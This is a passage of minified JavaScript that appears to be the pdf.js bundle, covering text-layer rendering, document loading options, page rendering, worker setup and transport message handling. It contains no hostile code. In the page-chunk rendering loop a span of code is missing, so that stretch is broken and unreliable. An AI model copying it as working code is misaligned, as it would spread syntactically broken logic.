o=a(this,on);g(this,on,document.createElement("span")),a(this,on).classList.add("markedContent"),s.id&&a(this,on).setAttribute("id",`${s.id}`),s.tag==="Artifact"&&(a(this,on).ariaHidden=!0),o.append(a(this,on))}else s.type==="endMarkedContent"&&g(this,on,a(this,on).parentNode);continue}n.push(s.str),A(this,Hs,sE).call(this,s)}},sE=function(e){var m;const t=document.createElement("span"),n={angle:0,canvasWidth:0,hasText:e.str!=="",hasEOL:e.hasEOL,fontSize:0};a(this,ll).push(t);const r=_.transform(a(this,Ff),e.transform);let i=Math.atan2(r[1],r[0]);const s=a(this,bu)[e.fontName];s.vertical&&(i+=Math.PI/2);let o=a(this,Sf)&&s.fontSubstitution||s.fontFamily;o=ye.fontFamilyMap.get(o)||o;const l=Math.hypot(r[2],r[3]),u=l*A(m=ye,Jn,oE).call(m,o,s,a(this,al));let c,d;i===0?(c=r[4],d=r[5]-u):(c=r[4]+u*Math.sin(i),d=r[5]-u*Math.cos(i));const f=t.style;f.left=`${(100*c/a(this,Tf)).toFixed(2)}%`,f.top=`${(100*d/a(this,Cf)).toFixed(2)}%`,f.setProperty("--font-height",`${l.toFixed(2)}px`),f.fontFamily=o,n.fontSize=l,t.setAttribute("role","presentation"),t.textContent=e.str,t.dir=e.dir,a(this,Sf)&&(t.dataset.fontName=s.fontSubstitutionLoadedName||e.fontName),i!==0&&(n.angle=i*(180/Math.PI));let p=!1;if(e.str.length>1)p=!0;else if(e.str!==" "&&e.transform[0]!==e.transform[3]){const v=Math.abs(e.transform[0]),y=Math.abs(e.transform[3]);v!==y&&Math.max(v,y)/Math.min(v,y)>1.5&&(p=!0)}if(p&&(n.canvasWidth=s.vertical?e.height:e.width),a(this,Rf).set(t,n),a(this,Qi).div=t,a(this,Qi).properties=n,A(this,Hs,Cy).call(this,a(this,Qi)),n.hasText&&a(this,on).append(t),n.hasEOL){const v=document.createElement("br");v.setAttribute("role","presentation"),a(this,on).append(v)}},Cy=function(e){var s;const{div:t,properties:n,ctx:r}=e,{style:i}=t;if(n.canvasWidth!==0&&n.hasText){const{fontFamily:o}=i,{canvasWidth:l,fontSize:u}=n;A(s=ye,Jn,Ty).call(s,r,u*a(this,wa),o);const{width:c}=r.measureText(t.textContent);c>0&&i.setProperty("--scale-x",l*a(this,wa)/c)}n.angle!==0&&i.setProperty("--rotate",`${n.angle}deg`)},Jn=new WeakSet,Bg=function(e=null){let t=a(this,hl).get(e||(e=""));if(!t){const n=document.createElement("canvas");n.className="hiddenCanvasElement",n.lang=e,document.body.append(n),t=n.getContext("2d",{alpha:!1,willReadFrequently:!0}),a(this,hl).set(e,t),a(this,Df).set(t,{size:0,family:""})}return t},Ty=function(e,t,n){const r=a(this,Df).get(e);t===r.size&&n===r.family||(e.font=`${t}px ${n}`,r.size=t,r.family=n)},aE=function(){if(a(this,wu)!==null)return;const e=document.createElement("div");e.style.opacity=0,e.style.lineHeight=1,e.style.fontSize="1px",e.style.position="absolute",e.textContent="X",document.body.append(e),g(this,wu,e.getBoundingClientRect().height),e.remove()},oE=function(e,t,n){const r=a(this,Eu).get(e);if(r)return r;const i=A(this,Jn,Bg).call(this,n);i.canvas.width=i.canvas.height=t1,A(this,Jn,Ty).call(this,i,t1,e);const s=i.measureText(""),o=s.fontBoundingBoxAscent,l=Math.abs(s.fontBoundingBoxDescent);i.canvas.width=i.canvas.height=0;let u=.8;return o?u=o/(o+l):(be.platform.isFirefox&&ht("Enable the `dom.textMetrics.fontBoundingBox.enabled` preference in `about:config` to improve TextLayer rendering."),t.ascent?u=t.ascent:t.descent&&(u=1+t.descent)),a(this,Eu).set(e,u),u},b(ye,Jn),b(ye,Eu,new Map),b(ye,hl,new Map),b(ye,Df,new WeakMap),b(ye,wu,null),b(ye,xu,new Set),ye);const rC=100;function lE(h={}){typeof h=="string"||h instanceof URL?h={url:h}:(h instanceof ArrayBuffer||ArrayBuffer.isView(h))&&(h={data:h});const e=new Py,{docId:t}=e,n=h.url?hS(h.url):null,r=h.data?uS(h.data):null,i=h.httpHeaders||null,s=h.withCredentials===!0,o=h.password??null,l=h.range instanceof hE?h.range:null,u=Number.isInteger(h.rangeChunkSize)&&h.rangeChunkSize>0?h.rangeChunkSize:2**16;let c=h.worker instanceof Ry?h.worker:null;const d=h.verbosity,f=typeof h.docBaseUrl=="string"&&!fv(h.docBaseUrl)?h.docBaseUrl:null,p=hg(h.cMapUrl),m=h.cMapPacked!==!1,v=hg(h.iccUrl),y=hg(h.standardFontDataUrl),E=hg(h.wasmUrl),S=h.stopAtErrors!==!0,w=Number.isInteger(h.maxImageSize)&&h.maxImageSize>-1?h.maxImageSize:-1,C=typeof h.isOffscreenCanvasSupported=="boolean"?h.isOffscreenCanvasSupported:!_n,x=typeof h.isImageDecoderSupported=="boolean"?h.isImageDecoderSupported:!_n&&(be.platform.isFirefox||!globalThis.chrome),T=Number.isInteger(h.canvasMaxAreaInBytes)?h.canvasMaxAreaInBytes:-1,I=typeof h.disableFontFace=="boolean"?h.disableFontFace:_n,F=h.fontExtraProperties===!0,P=h.enableXfa===!0,R=h.ownerDocument||globalThis.document,D=h.disableRange===!0,k=h.disableStream===!0,N=h.disableAutoFetch===!0,H=h.pdfBug===!0,X=h.CanvasFactory||(_n?yS:pS),j=h.FilterFactory||(_n?vS:gS),U=h.BinaryDataFactory||(_n?bS:Hb),z=h.enableHWA===!0,nt=h.enableWebGPU===!0?wS():Promise.resolve(!1),pt=h.useWasm!==!1,it=h.pagesMapper||new eC,K=typeof h.useSystemFonts=="boolean"?h.useSystemFonts:!_n&&!I,lt=typeof h.useWorkerFetch=="boolean"?h.useWorkerFetch:!!(U===Hb&&p&&m&&y&&E&&vd(p,document.baseURI)&&vd(y,document.baseURI)&&vd(E,document.baseURI)),st=null;Dx(d);const B={canvasFactory:new X({ownerDocument:R,enableHWA:z}),filterFactory:new j({docId:t,ownerDocument:R}),binaryDataFactory:lt?null:new U({cMapUrl:p,standardFontDataUrl:y,wasmUrl:E})};c||(c=Ry.create({verbosity:d,port:Ys.workerPort}),e._worker=c);const O={docId:t,apiVersion:"5.7.284",data:r,password:o,disableAutoFetch:N,rangeChunkSize:u,docBaseUrl:f,enableXfa:P,evaluatorOptions:{maxImageSize:w,disableFontFace:I,ignoreErrors:S,isOffscreenCanvasSupported:C,isImageDecoderSupported:x,canvasMaxAreaInBytes:T,fontExtraProperties:F,useSystemFonts:K,useWasm:pt,useWorkerFetch:lt,cMapUrl:p,cMapPacked:m,iccUrl:v,standardFontDataUrl:y,wasmUrl:E,hasGPU:!1}},L={ownerDocument:R,pdfBug:H,styleElement:st,enableHWA:z,loadingParams:{disableAutoFetch:N,enableXfa:P}};return Promise.all([c.promise,nt]).then(function([,V]){if(e.destroyed)throw new Error("Loading aborted");if(c.destroyed)throw new Error("Worker was destroyed");O.evaluatorOptions.hasGPU=V;const Z=c.messageHandler.sendWithPromise("GetDocRequest",O,r?[r.buffer]:null);let W;if(!r)if(l)W=new HS({pdfDataRangeTransport:l,disableRange:D,disableStream:k});else if(n){const Y=ZS(n);W=new Y({url:n,httpHeaders:i,withCredentials:s,rangeChunkSize:u,disableRange:D,disableStream:k})}else throw new Error("getDocument - expected either `data`, `range`, or `url` parameter.");return Z.then(Y=>{if(e.destroyed)throw new Error("Loading aborted");if(c.destroyed)throw new Error("Worker was destroyed");const at=new Jc(t,Y,c.port),Tt=new sC(at,e,W,L,B,it);e._transport=Tt,at.send("Ready",null)})}).catch(e._capability.reject),e}var Ym;const Km=class Km{constructor(){M(this,"_capability",Promise.withResolvers());M(this,"_transport",null);M(this,"_worker",null);M(this,"docId",`d${ie(Km,Ym)._++}`);M(this,"destroyed",!1);M(this,"onPassword",null);M(this,"onProgress",null)}get promise(){return this._capability.promise}async destroy(){var e,t,n,r;this.destroyed=!0;try{(e=this._worker)!=null&&e.port&&(this._worker._pendingDestroy=!0),await((t=this._transport)==null?void 0:t.destroy())}catch(i){throw(n=this._worker)!=null&&n.port&&delete this._worker._pendingDestroy,i}this._transport=null,(r=this._worker)==null||r.destroy(),this._worker=null}async getData(){return this._transport.getData()}};Ym=new WeakMap,b(Km,Ym,0);let Py=Km;var Su,ul,H1;let hE=(H1=class{constructor(e,t,n=!1,r=null){b(this,Su,Promise.withResolvers());b(this,ul,null);this.length=e,this.initialData=t,this.progressiveDone=n,this.contentDispositionFilename=r,Object.defineProperty(this,"onDataProgress",{value:()=>{Vx("`PDFDataRangeTransport.prototype.onDataProgress` - method was removed, since loading progress is now reported automatically through the `PDFDataTransportStream` class (and related code).")}})}onDataRange(e,t){a(this,ul).call(this,{type:"range",begin:e,chunk:t})}onDataProgressiveRead(e){a(this,Su).promise.then(()=>{a(this,ul).call(this,{type:"progressiveRead",chunk:e})})}onDataProgressiveDone(){a(this,Su).promise.then(()=>{a(this,ul).call(this,{type:"progressiveDone"})})}transportReady(e){g(this,ul,e),a(this,Su).resolve()}requestDataRange(e,t){Ot("Abstract method PDFDataRangeTransport.requestDataRange")}abort(){}},Su=new WeakMap,ul=new WeakMap,H1);class iC{constructor(e,t){this._pdfInfo=e,this._transport=t}get pagesMapper(){return this._transport.pagesMapper}get annotationStorage(){return this._transport.annotationStorage}get canvasFactory(){return this._transport.canvasFactory}get filterFactory(){return this._transport.filterFactory}get numPages(){return this._pdfInfo.numPages}get fingerprints(){return this._pdfInfo.fingerprints}get isPureXfa(){return dt(this,"isPureXfa",!!this._transport._htmlForXfa)}get allXfaHtml(){return this._transport._htmlForXfa}getPage(e){return this._transport.getPage(e)}getPageIndex(e){return this._transport.getPageIndex(e)}getDestinations(){return this._transport.getDestinations()}getDestination(e){return this._transport.getDestination(e)}getPageLabels(){return this._transport.getPageLabels()}getPageLayout(){return this._transport.getPageLayout()}getPageMode(){return this._transport.getPageMode()}getViewerPreferences(){return this._transport.getViewerPreferences()}getOpenAction(){return this._transport.getOpenAction()}getAttachments(){return this._transport.getAttachments()}getAnnotationsByType(e,t){return this._transport.getAnnotationsByType(e,t)}getJSActions(){return this._transport.getDocJSActions()}getOutline(){return this._transport.getOutline()}getOptionalContentConfig({intent:e="display"}={}){const{renderingIntent:t}=this._transport.getRenderingIntent(e);return this._transport.getOptionalContentConfig(t)}getPermissions(){return this._transport.getPermissions()}getMetadata(){return this._transport.getMetadata()}getMarkInfo(){return this._transport.getMarkInfo()}getData(){return this._transport.getData()}saveDocument(){return this._transport.saveDocument()}extractPages(e){return this._transport.extractPages(e)}getDownloadInfo(){return this._transport.downloadInfoCapability.promise}getRawData(e){return this._transport.getRawData(e)}cleanup(e=!1){return this._transport.startCleanup(e||this.isPureXfa)}destroy(){return this.loadingTask.destroy()}cachedPageNumber(e){return this._transport.cachedPageNumber(e)}get loadingParams(){return this._transport.loadingParams}get loadingTask(){return this._transport.loadingTask}getFieldObjects(){return this._transport.getFieldObjects()}hasJSActions(){return this._transport.hasJSActions()}getCalculationOrderIds(){return this._transport.getCalculationOrderIds()}}var qi,cl,dl,rd;const Ab=class Ab{constructor(e,t,n,r,i=!1){b(this,dl);b(this,qi,!1);b(this,cl,null);this._pageIndex=e,this._pageInfo=t,this._transport=n,this._stats=i?new Fb:null,this._pdfBug=i,this.commonObjs=n.commonObjs,this.objs=new rE,this._intentStates=new Map,this.destroyed=!1,this.recordedBBoxes=null,g(this,cl,r),this.imageCoordinates=null}clone(e){const t=new Ab(e,this._pageInfo,this._transport,a(this,cl),this._pdfBug);return t.clonedFromIndex=this.clonedFromIndex??this._pageIndex,this._transport.updatePage(t),t}get pageNumber(){return this._pageIndex+1}set pageNumber(e){this._pageIndex=e-1,this._transport.updatePage(this)}get rotate(){return this._pageInfo.rotate}get ref(){return this._pageInfo.ref}get userUnit(){return this._pageInfo.userUnit}get view(){return this._pageInfo.view}getViewport({scale:e,rotation:t=this.rotate,offsetX:n=0,offsetY:r=0,dontFlip:i=!1}={}){return new ig({viewBox:this.view,userUnit:this.userUnit,scale:e,rotation:t,offsetX:n,offsetY:r,dontFlip:i})}getAnnotations({intent:e="display"}={}){const{renderingIntent:t}=this._transport.getRenderingIntent(e);return this._transport.getAnnotations(this._pageIndex,t)}getJSActions(){return this._transport.getPageJSActions(this._pageIndex)}get filterFactory(){return this._transport.filterFactory}get isPureXfa(){return dt(this,"isPureXfa",!!this._transport._htmlForXfa)}async getXfa(){var e;return((e=this._transport._htmlForXfa)==null?void 0:e.children[this._pageIndex])||null}render({canvasContext:e,canvas:t=e.canvas,viewport:n,intent:r="display",annotationMode:i=Ds.ENABLE,transform:s=null,background:o=null,optionalContentConfigPromise:l=null,annotationCanvasMap:u=null,pageColors:c=null,printAnnotationStorage:d=null,isEditing:f=!1,recordImages:p=!1,recordOperations:m=!1,operationsFilter:v=null}){var N,H,X;(N=this._stats)==null||N.time("Overall");const y=this._transport.getRenderingIntent(r,i,d,f),{renderingIntent:E,cacheKey:S}=y;g(this,qi,!1),l||(l=this._transport.getOptionalContentConfig(E));const w=this._intentStates.getOrInsertComputed(S,Gv);w.streamReaderCancelTimeout&&(clearTimeout(w.streamReaderCancelTimeout),w.streamReaderCancelTimeout=null);const C=!!(E&Xn.PRINT);w.displayReadyCapability||(w.displayReadyCapability=Promise.withResolvers(),w.operatorList={fnArray:[],argsArray:[],lastChunk:!1,separateAnnots:null},(H=this._stats)==null||H.time("Page Request"),this._pumpOperatorList(y));const x=!!(this._pdfBug&&((X=globalThis.StepperManager)!=null&&X.enabled)),T=!!t&&!this.recordedBBoxes&&(m||x),I=!!t&&!this.imageCoordinates&&p,F=j=>{var U,z,G,nt;if(w.renderTasks.delete(D),T){const pt=(U=D.gfx)==null?void 0:U.dependencyTracker.take();pt&&((z=D.stepper)==null||z.setOperatorBBoxes(pt,D.gfx.dependencyTracker.takeDebugMetadata()),m&&(this.recordedBBoxes=pt))}I&&!j&&(this.imageCoordinates=(G=D.gfx)==null?void 0:G.imagesTracker.take()),C&&g(this,qi,!0),A(this,dl,rd).call(this),j?(D.capability.reject(j),this._abortOperatorList({intentState:w,reason:j instanceof Error?j:new Error(j)})):D.capability.resolve(),this._stats&&(this._stats.timeEnd("Rendering"),this._stats.timeEnd("Overall"),(nt=globalThis.Stats)!=null&&nt.enabled&&globalThis.Stats.add(this.pageNumber,this._stats))};let P=null,R=null;(T||I)&&(R=new tS(t,w.operatorList.length)),T&&(P=new eS(R,x));const D=new Fy({callback:F,params:{canvas:t,canvasContext:e,dependencyTracker:P??R,imagesTracker:I?new gy(t):null,viewport:n,transform:s,background:o},objs:this.objs,commonObjs:this.commonObjs,annotationCanvasMap:u,operatorList:w.operatorList,pageIndex:this._pageIndex,canvasFactory:this._transport.canvasFactory,filterFactory:this._transport.filterFactory,useRequestAnimationFrame:!C,pdfBug:this._pdfBug,pageColors:c,enableHWA:this._transport.enableHWA,operationsFilter:v});(w.renderTasks||(w.renderTasks=new Set)).add(D);const k=D.task;return Promise.all([w.displayReadyCapability.promise,l]).then(([j,U])=>{var z;if(this.destroyed){F();return}if((z=this._stats)==null||z.time("Rendering"),!(U.renderingIntent&E))throw new Error("Must use the same `intent`-argument when calling the `PDFPageProxy.render` and `PDFDocumentProxy.getOptionalContentConfig` methods.");D.initializeGraphics({transparency:j,optionalContentConfig:U}),D.operatorListChanged()}).catch(F),k}getOperatorList({intent:e="display",annotationMode:t=Ds.ENABLE,printAnnotationStorage:n=null,isEditing:r=!1}={}){var u;function i(){o.operatorList.lastChunk&&(o.opListReadCapability.resolve(o.operatorList),o.renderTasks.delete(l))}const s=this._transport.getRenderingIntent(e,t,n,r,!0),o=this._intentStates.getOrInsertComputed(s.cacheKey,Gv);let l;return o.opListReadCapability||(l=Object.create(null),l.operatorListChanged=i,o.opListReadCapability=Promise.withResolvers(),(o.renderTasks||(o.renderTasks=new Set)).add(l),o.operatorList={fnArray:[],argsArray:[],lastChunk:!1,separateAnnots:null},(u=this._stats)==null||u.time("Page Request"),this._pumpOperatorList(s)),o.opListReadCapability.promise}streamTextContent({includeMarkedContent:e=!1,disableNormalization:t=!1}={}){return this._transport.messageHandler.sendWithStream("GetTextContent",{pageId:a(this,cl).getPageId(this._pageIndex+1)-1,pageIndex:this._pageIndex,includeMarkedContent:e===!0,disableNormalization:t===!0},{highWaterMark:100,size(r){return r.items.length}})}async getTextContent(e={}){if(this._transport._htmlForXfa)return this.getXfa().then(r=>Sd.textContent(r));const t=this.streamTextContent(e),n={items:[],styles:Object.create(null),lang:null};for await(const r of t)n.lang??(n.lang=r.lang),Object.assign(n.styles,r.styles),n.items.push(...r.items);return n}getStructTree(){return this._transport.getStructTree(this._pageIndex)}_destroy(){this.destroyed=!0;const e=[];for(const t of this._intentStates.values())if(this._abortOperatorList({intentState:t,reason:new Error("Page was destroyed."),force:!0}),!t.opListReadCapability)for(const n of t.renderTasks)e.push(n.completed),n.cancel();return this.objs.clear(),g(this,qi,!1),Promise.all(e)}cleanup(e=!1){g(this,qi,!0);const t=A(this,dl,rd).call(this);return e&&t&&this._stats&&(this._stats=new Fb),t}_startRenderPage(e,t){var r,i;const n=this._intentStates.get(t);n&&((r=this._stats)==null||r.timeEnd("Page Request"),(i=n.displayReadyCapability)==null||i.resolve(e))}_renderPageChunk(e,t){for(let n=0,r=e.length;n{l.read().then(({value:d,done:f})=>{if(f){u.streamReader=null;return}this._transport.destroyed||(this._renderPageChunk(d,u),c())},d=>{if(u.streamReader=null,!this._transport.destroyed){if(u.operatorList){u.operatorList.lastChunk=!0;for(const f of u.renderTasks)f.operatorListChanged();A(this,dl,rd).call(this)}if(u.displayReadyCapability)u.displayReadyCapability.reject(d);else if(u.opListReadCapability)u.opListReadCapability.reject(d);else throw d}})};c()}_abortOperatorList({intentState:e,reason:t,force:n=!1}){if(e.streamReader){if(e.streamReaderCancelTimeout&&(clearTimeout(e.streamReaderCancelTimeout),e.streamReaderCancelTimeout=null),!n){if(e.renderTasks.size>0)return;if(t instanceof ib){let r=rC;t.extraDelay>0&&t.extraDelay<1e3&&(r+=t.extraDelay),e.streamReaderCancelTimeout=setTimeout(()=>{e.streamReaderCancelTimeout=null,this._abortOperatorList({intentState:e,reason:t,force:!0})},r);return}}if(e.streamReader.cancel(new ho(t.message)).catch(()=>{}),e.streamReader=null,!this._transport.destroyed){for(const[r,i]of this._intentStates)if(i===e){this._intentStates.delete(r);break}this.cleanup()}}}get stats(){return this._stats}};qi=new WeakMap,cl=new WeakMap,dl=new WeakSet,rd=function(){if(!a(this,qi)||this.destroyed)return!1;for(const{renderTasks:e,operatorList:t}of this._intentStates.values())if(e.size>0||!t.lastChunk)return!1;return this._intentStates.clear(),this.objs.clear(),g(this,qi,!1),!0};let Iy=Ab;var xa,Fr,ts,fl,Kt,Jm,pl,gl,pn,kg,uE,cE,id,Cu,jg;let Ry=(Kt=class{constructor({name:e=null,port:t=null,verbosity:n=Ox()}={}){b(this,pn);b(this,xa,Promise.withResolvers());b(this,Fr,null);b(this,ts,null);b(this,fl,null);if(this.name=e,this.destroyed=!1,this.verbosity=n,t){if(a(Kt,gl).has(t))throw new Error("Cannot use more than one PDFWorker per port.");a(Kt,gl).set(t,this),A(this,pn,uE).call(this,t)}else A(this,pn,cE).call(this)}get promise(){return a(this,xa).promise}get port(){return a(this,ts)}get messageHandler(){return a(this,Fr)}destroy(){var e,t;this.destroyed=!0,(e=a(this,fl))==null||e.terminate(),g(this,fl,null),a(Kt,gl).delete(a(this,ts)),g(this,ts,null),(t=a(this,Fr))==null||t.destroy(),g(this,Fr,null)}static create(e){const t=a(this,gl).get(e==null?void 0:e.port);if(t){if(t._pendingDestroy)throw new Error("PDFWorker.create - the worker is being destroyed.\nPlease remember to await `PDFDocumentLoadingTask.destroy()`-calls.");return t}return new Kt(e)}static get workerSrc(){if(Ys.workerSrc)return Ys.workerSrc;throw new Error('No "GlobalWorkerOptions.workerSrc" specified.')}static get _setupFakeWorkerGlobal(){return dt(this,"_setupFakeWorkerGlobal",(async()=>a(this,Cu,jg)?a(this,Cu,jg):(await import(this.workerSrc)).WorkerMessageHandler)())}},xa=new WeakMap,Fr=new WeakMap,ts=new WeakMap,fl=new WeakMap,Jm=new WeakMap,pl=new WeakMap,gl=new WeakMap,pn=new WeakSet,kg=function(){a(this,xa).resolve(),a(this,Fr).send("configure",{verbosity:this.verbosity})},uE=function(e){g(this,ts,e),g(this,Fr,new Jc("main","worker",e)),a(this,Fr).on("ready",()=>{}),A(this,pn,kg).call(this)},cE=function(){if(a(Kt,pl)||a(Kt,Cu,jg)){A(this,pn,id).call(this);return}let{workerSrc:e}=Kt;try{Kt._isSameOrigin(window.location,e)||(e=Kt._createCDNWrapper(new URL(e,window.location).href));const t=new Worker(e,{type:"module"}),n=new Jc("main","worker",t),r=()=>{i.abort(),n.destroy(),t.terminate(),this.destroyed?a(this,xa).reject(new Error("Worker was destroyed")):A(this,pn,id).call(this)},i=new AbortController;t.addEventListener("error",()=>{a(this,fl)||r()},{signal:i.signal}),n.on("test",o=>{if(i.abort(),this.destroyed||!o){r();return}g(this,Fr,n),g(this,ts,t),g(this,fl,t),A(this,pn,kg).call(this)}),n.on("ready",o=>{if(i.abort(),this.destroyed){r();return}try{s()}catch{A(this,pn,id).call(this)}});const s=()=>{const o=new Uint8Array;n.send("test",o,[o.buffer])};s();return}catch{cv("The worker has been disabled.")}A(this,pn,id).call(this)},id=function(){a(Kt,pl)||(ht("Setting up fake worker."),g(Kt,pl,!0)),Kt._setupFakeWorkerGlobal.then(e=>{if(this.destroyed){a(this,xa).reject(new Error("Worker was destroyed"));return}const t=new fS;g(this,ts,t);const n=`fake${ie(Kt,Jm)._++}`,r=new Jc(n+"_worker",n,t);e.setup(r,t),g(this,Fr,new Jc(n,n+"_worker",t)),A(this,pn,kg).call(this)}).catch(e=>{a(this,xa).reject(new Error(`Setting up fake worker failed: "${e.message}".`))})},Cu=new WeakSet,jg=function(){var e;try{return((e=globalThis.pdfjsWorker)==null?void 0:e.WorkerMessageHandler)||null}catch{return null}},b(Kt,Cu),b(Kt,Jm,0),b(Kt,pl,!1),b(Kt,gl,new WeakMap),_n&&(g(Kt,pl,!0),Ys.workerSrc||(Ys.workerSrc="./pdf.worker.mjs")),Kt._isSameOrigin=(e,t)=>{const n=URL.parse(e);if(!(n!=null&&n.origin)||n.origin==="null")return!1;const r=new URL(t,n);return n.origin===r.origin},Kt._createCDNWrapper=e=>{const t=`await import("${e}");`;return URL.createObjectURL(new Blob([t],{type:"text/javascript"}))},Kt);var On,ml,es,Dr,vl,Tu,ns,Vr,sd,Ug;class sC{constructor(e,t,n,r,i,s){b(this,Vr);M(this,"downloadInfoCapability",Promise.withResolvers());b(this,On,null);b(this,ml,new Map);b(this,es,null);b(this,Dr,new Map);b(this,vl,new Map);b(this,Tu,new Map);b(this,ns,null);this.messageHandler=e,this.loadingTask=t,g(this,es,n),this.commonObjs=new rE,this.fontLoader=new nS({ownerDocument:r.ownerDocument,styleElement:r.styleElement}),this.enableHWA=r.enableHWA,this.loadingParams=r.loadingParams,this._params=r,this.canvasFactory=i.canvasFactory,this.filterFactory=i.filterFactory,this.binaryDataFactory=i.binaryDataFactory,this.pagesMapper=s,this.destroyed=!1,this.destroyCapability=null,this.setupMessageHandler()}updatePage(e){const{_pageIndex:t}=e;a(this,Dr).set(t,e),a(this,vl).set(t,Promise.resolve(e))}get annotationStorage(){return dt(this,"annotationStorage",new ob)}getRenderingIntent(e,t=Ds.ENABLE,n=null,r=!1,i=!1){let s=Xn.DISPLAY,o=Td;switch(e){case"any":s=Xn.ANY;break;case"display":break;case"print":s=Xn.PRINT;break;default:ht(`getRenderingIntent - invalid intent: ${e}`)}const l=s&Xn.PRINT&&n instanceof FA?n:this.annotationStorage;switch(t){case Ds.DISABLE:s+=Xn.ANNOTATIONS_DISABLE;break;case Ds.ENABLE:break;case Ds.ENABLE_FORMS:s+=Xn.ANNOTATIONS_FORMS;break;case Ds.ENABLE_STORAGE:s+=Xn.ANNOTATIONS_STORAGE,o=l.serializable;break;default:ht(`getRenderingIntent - invalid annotationMode: ${t}`)}r&&(s+=Xn.IS_EDITING),i&&(s+=Xn.OPLIST);const{ids:u,hash:c}=l.modifiedIds,d=[s,o.hash,c];return{renderingIntent:s,cacheKey:d.join("_"),annotationStorageSerializable:o,modifiedIds:u}}destroy(){var n;if(this.destroyCapability)return this.destroyCapability.promise;this.destroyed=!0,this.destroyCapability=Promise.withResolvers(),(n=a(this,ns))==null||n.reject(new Error("Worker was destroyed during onPassword callback"));const e=[];for(const r of a(this,Dr).values())e.push(r._destroy());a(this,Dr).clear(),a(this,vl).clear(),a(this,Tu).clear(),Object.hasOwn(this,"annotationStorage")&&this.annotationStorage.resetModified();const t=this.messageHandler.sendWithPromise("Terminate",null);return e.push(t),Promise.all(e).then(()=>{var r,i;this.commonObjs.clear(),this.fontLoader.clear(),a(this,ml).clear(),this.filterFactory.destroy(),xm.cleanup(),(r=a(this,es))==null||r.cancelAllRequests(new ho("Worker was terminated.")),(i=this.messageHandler)==null||i.destroy(),this.messageHandler=null,this.destroyCapability.resolve()},this.destroyCapability.reject),this.destroyCapability.promise}setupMessageHandler(){const{messageHandler:e,loadingTask:t}=this;e.on("GetReader",(n,r)=>{ne(a(this,es),"GetReader - no `BasePDFStream` instance available."),g(this,On,a(this,es).getFullReader()),a(this,On).onProgress=i=>A(this,Vr,Ug).call(this,i),r.onPull=()=>{a(this,On).read().then(function({value:i,done:s}){if(s){r.close();return}ne(i instanceof ArrayBuffer,"GetReader - expected an ArrayBuffer."),r.enqueue(new Uint8Array(i),1,[i])}).catch(i=>{r.error(i)})},r.onCancel=i=>{a(this,On).cancel(i),r.ready.catch(s=>{if(!this.destroyed)throw s})}}),e.on("ReaderHeadersReady",async n=>{await a(this,On).headersReady;const{isStreamingSupported:r,isRangeSupported:i,contentLength:s}=a(this,On);return r&&i&&(a(this,On).onProgress=null),{isStreamingSupported:r,isRangeSupported:i,contentLength:s}}),e.on("GetRangeReader",(n,r)=>{ne(a(this,es),"GetRangeReader - no `BasePDFStream` instance available.");const i=a(this,es).getRangeReader(n.begin,n.end);if(!i){r.close();return}r.onPull=()=>{i.read().then(function({value:s,done:o}){if(o){r.close();return}ne(s instanceof ArrayBuffer,"GetRangeReader - expected an ArrayBuffer."),r.enqueue(new Uint8Array(s),1,[s])}).catch(s=>{r.error(s)})},r.onCancel=s=>{i.cancel(s),r.ready.catch(o=>{if(!this.destroyed)throw o})}}),e.on("GetDoc",({pdfInfo:n})=>{this.pagesMapper.pagesNumber=n.numPages,this._numPages=n.numPages,this._htmlForXfa=n.htmlForXfa,delete n.htmlForXfa,t._capability.resolve(new iC(n,this))}),e.on("DocException",n=>{t._capability.reject(mn(n))}),e.on("PasswordRequest",n=>{g(this,ns,Promise.withResolvers());try{if(!t.onPassword)throw mn(n);const r=i=>{i instanceof Error?a(this,ns).reject(i):a(this,ns).resolve({password:i})};t.onPassword(r,n.code)}catch(r){a(this,ns).reject(r)}return a(this,ns).promise}),e.on("DataLoaded",n=>{A(this,Vr,Ug).call(this,{loaded:n.length,total:n.length}),this.downloadInfoCapability.resolve(n)}),e.on("StartRenderPage",n=>{if(this.destroyed)return;a(this,Dr).get(n.pageIndex)._startRenderPage(n.transparency,n.cacheKey)}),e.on("commonobj",([n,r,i])=>{var s;if(this.destroyed||this.commonObjs.has(n))return null;switch(r){case"Font":if("error"in i){const f=i.error;ht(`Error during font loading: ${f}`),this.commonObjs.resolve(n,f);break}const o=new aS(i),l=this._params.pdfBug&&((s=globalThis.FontInspector)!=null&&s.enabled)?(f,p)=>globalThis.FontInspector.fontAdded(f,p):null,u=new rS(o,l,i.charProcOperatorList,i.extra);this.fontLoader.bind(u).catch(()=>e.sendWithPromise("FontFallback",{id:n})).finally(()=>{u.fontExtraProperties||u.clearData(),this.commonObjs.resolve(n,u)});break;case"CopyLocalImage":const{imageRef:c}=i;ne(c,"The imageRef must be defined.");for(const f of a(this,Dr).values())for(const[,p]of f.objs){if((p==null?void 0:p.ref)!==c)continue;if(!p.dataLen)return null;const m=structuredClone(p);return this.commonObjs.resolve(n,m),p.dataLen}break;case"FontPath":this.commonObjs.resolve(n,new lS(i));break;case"Image":this.commonObjs.resolve(n,i);break;case"Pattern":const d=new oS(i);this.commonObjs.resolve(n,d.getIR());break;default:throw new Error(`Got unknown common object type ${r}`)}return null}),e.on("obj",([n,r,i,s])=>{var l;if(this.destroyed)return;const o=a(this,Dr).get(r);if(!o.objs.has(n)){if(o._intentStates.size===0){(l=s==null?void 0:s.bitmap)==null||l.close();return}switch(i){case"Image":case"Pattern":o.objs.resolve(n,s);break;default:throw new Error(`Got unknown object type ${i}`)}}}),e.on("DocProgress",n=>{this.destroyed||A(this,Vr,Ug).call(this,n)}),e.on("FetchBinaryData",async n=>{if(this.destroyed)throw new Error("Worker was destroyed.");if(!this.binaryDataFactory)throw new Error("`BinaryDataFactory` not initialized, see the `useWorkerFetch` parameter.");return this.binaryDataFactory.fetch(n)})}getData(){return this.messageHandler.sendWithPromise("GetData",null)}saveDocument(){var n;this.annotationStorage.size<=0&&ht("saveDocument called while `annotationStorage` is empty, please use the getData-method instead.");const{map:e,transfer:t}=this.annotationStorage.serializable;return this.messageHandler.sendWithPromise("SaveDocument",{isPureXfa:!!this._htmlForXfa,numPages:this._numPages,annotationStorage:e,filename:((n=a(this,On))==null?void 0:n.filename)??null},t).finally(()=>{this.annotationStorage.resetModified()})}extractPages(e){const t={pageInfos:e};let n;if(this.annotationStorage.size>0){const{map:r,transfer:i}=this.annotationStorage.serializable;t.annotationStorage=r,n=i}return this.messageHandler.sendWithPromise("ExtractPages",t,n).finally(()=>{this.annotationStorage.resetModified()})}getPage(e){if(!Number.isInteger(e)||e<=0||e>this.pagesMapper.pagesNumber)return Promise.reject(new Error("Invalid page request."));const 